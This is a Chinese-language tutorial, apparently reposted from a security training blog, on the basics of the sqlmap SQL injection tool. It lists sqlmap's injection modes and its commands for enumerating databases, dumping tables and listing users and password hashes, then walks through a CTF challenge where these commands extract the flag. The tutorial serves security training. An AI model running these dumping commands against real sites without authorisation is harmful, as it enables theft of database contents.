sql注入工具之 sqlmap的基本使用
Posted DROPS攻防训练营
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入工具之 sqlmap的基本使用相关的知识,希望对你有一定的参考价值。
Sqlmap的使用
sqlmap 是一种开源渗透测试工具, 可自动检测和利用 sql 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎, 许多特殊的功能, 最终渗透测试仪和广泛的开关, 从数据库指纹, 从数据提取到访问基础文件系统和执行通过带外连接在操作系统上的命令。
sqlmap 是一种开源渗透测试工具, 可自动检测和利用 sql 注入缺陷并接管数据库服务器的过程。它配备了强大的检测引擎, 许多特殊的功能, 最终渗透测试仪和广泛的开关, 从数据库指纹, 从数据提取到访问基础文件系统和执行通过带外连接在操作系统上的命令。
sqlmap支持五种注入模式
1、基于布尔的盲注(Boolean-based blind SQL injection),即可以根据返回页面判断条件真假的注入
2、基于时间的盲注(Time-based blind SQL injection),不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行。
3、基于报错注入(Error-based SQL injection),即页面会返回错误信息,或者把注入的语句的结果直接返回在页面。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入.
sqlmap的安装包下载好之后放进python的目录下就能搭建好sqlmap
sqlmap.py -u "网址" --dbs //获取所有库名
sqlmap.py -u "网址" -D "库名" --tables //能够获取到库中的表
sqlmap.py -u "网址" -D "库名" -T "表名" --dump //爆出这个表中的信息
sqlmap.py -u "网址" -D "库名" -T "表名" --columns //爆出表的列
这个是最基础的几句,其它的的基本上对于入门的小白来说用不上。接下来解释一下几句的参数
-U &ems**p;//表示注入点
-D " " //后面的内容是库名
-T " " //代表指定的表名
-columns //表中的列
–users " "//列数据库所有用户
-passwords " " //数据库用户所有的密码
接下来来看一道简单的例题 sqlmap的使用(http://ctf.xjnu.edu.cn:9900/web10/)
这道题目直接就告诉你让你使用sqlmap跑的,那么就尝试sqlmap
sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --dbs
红色位置的是我们爆出来的库,然后就进行信息的查找继续爆出信息
sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables
sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --dump
得到flag{Test_y0u_sql_Inject!}
虽然sqlmap很强大,但是一些网站还是防止sqlmap进行注入,这个时候就需要手工进行注入。下一次对于注入的分享就不是sqlmap基础类的分享了。
以上是关于sql注入工具之 sqlmap的基本使用的主要内容,如果未能解决你的问题,请参考以下文章